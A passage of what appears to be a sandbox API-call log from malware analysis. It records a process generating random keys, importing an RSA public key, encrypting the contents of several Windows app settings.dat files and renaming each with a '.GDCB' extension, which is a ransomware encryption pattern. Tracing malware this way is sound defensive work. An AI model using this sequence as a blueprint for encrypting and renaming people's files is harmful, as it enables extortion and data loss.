data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0232.205] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.209] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0232.209] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.209] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.211] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.212] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0232.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.212] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0232.224] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f9f8) returned 1 [0232.224] CryptGetKeyParam (in: hKey=0x659f9f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.224] CryptEncrypt (in: hKey=0x659f9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0232.224] GetLastError () returned 0x0 [0232.224] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.224] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0232.227] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fc38) returned 1 [0232.227] CryptGetKeyParam (in: hKey=0x659fc38, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.227] CryptEncrypt (in: hKey=0x659fc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0232.227] GetLastError () returned 0x0 [0232.227] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.227] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0232.233] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0232.236] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0232.237] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0232.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0232.255] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0232.556] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0232.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.561] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.561] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0232.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.561] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.563] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.564] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0232.564] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.564] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0232.566] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fcf8) returned 1 [0232.567] CryptGetKeyParam (in: hKey=0x659fcf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.567] CryptEncrypt (in: hKey=0x659fcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0232.567] GetLastError () returned 0x0 [0232.567] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.567] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0232.569] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fe78) returned 1 [0232.569] CryptGetKeyParam (in: hKey=0x659fe78, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.569] CryptEncrypt (in: hKey=0x659fe78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0232.569] GetLastError () returned 0x0 [0232.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.569] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0232.571] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0232.572] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0232.573] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0232.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0232.585] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0232.669] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.673] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0232.673] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.673] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0232.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.678] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0232.681] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fef8) returned 1 [0232.681] CryptGetKeyParam (in: hKey=0x659fef8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.681] CryptEncrypt (in: hKey=0x659fef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0232.681] GetLastError () returned 0x0 [0232.681] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.681] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0232.684] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fd38) returned 1 [0232.684] CryptGetKeyParam (in: hKey=0x659fd38, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.684] CryptEncrypt (in: hKey=0x659fd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0232.684] GetLastError () returned 0x0 [0232.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.684] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0232.686] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0232.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0232.690] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0232.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0232.713] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0232.790] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.795] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0232.795] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.795] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.798] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.798] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0232.798] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.798] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0232.800] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fd78) returned 1 [0232.800] CryptGetKeyParam (in: hKey=0x659fd78, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.800] CryptEncrypt (in: hKey=0x659fd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0232.801] GetLastError () returned 0x0 [0232.801] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.801] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0232.802] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f8f8) returned 1 [0232.802] CryptGetKeyParam (in: hKey=0x659f8f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.802] CryptEncrypt (in: hKey=0x659f8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0232.803] GetLastError () returned 0x0 [0232.803] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.803] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0232.804] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0232.806] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0232.808] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0232.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0232.821] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0232.864] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0232.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0232.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.868] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0232.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.871] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.871] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0232.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.872] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0232.874] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x659f638) returned 1 [0232.874] CryptGetKeyParam (in: hKey=0x659f638, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0232.874] CryptEncrypt (in: hKey=0x659f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0232.874] GetLastError () returned 0x0 [0232.875] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.875] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0232.877] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x659fe38) returned 1 [0232.877] CryptGetKeyParam (in: hKey=0x659fe38, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0232.877] CryptEncrypt (in: hKey=0x659fe38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0232.877] GetLastError () returned 0x0 [0232.877] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.877] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.905] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0232.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.909] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.909] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0232.909] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.909] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0232.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.913] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0232.913] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.913] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0232.916] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x659fdb8) returned 1 [0232.916] CryptGetKeyParam (in: hKey=0x659fdb8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0232.916] CryptEncrypt (in: hKey=0x659fdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d20000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d20000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0232.916] GetLastError () returned 0x0 [0232.916] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.916] CryptAcquireContextW (in: phProv=0x285d9c4, 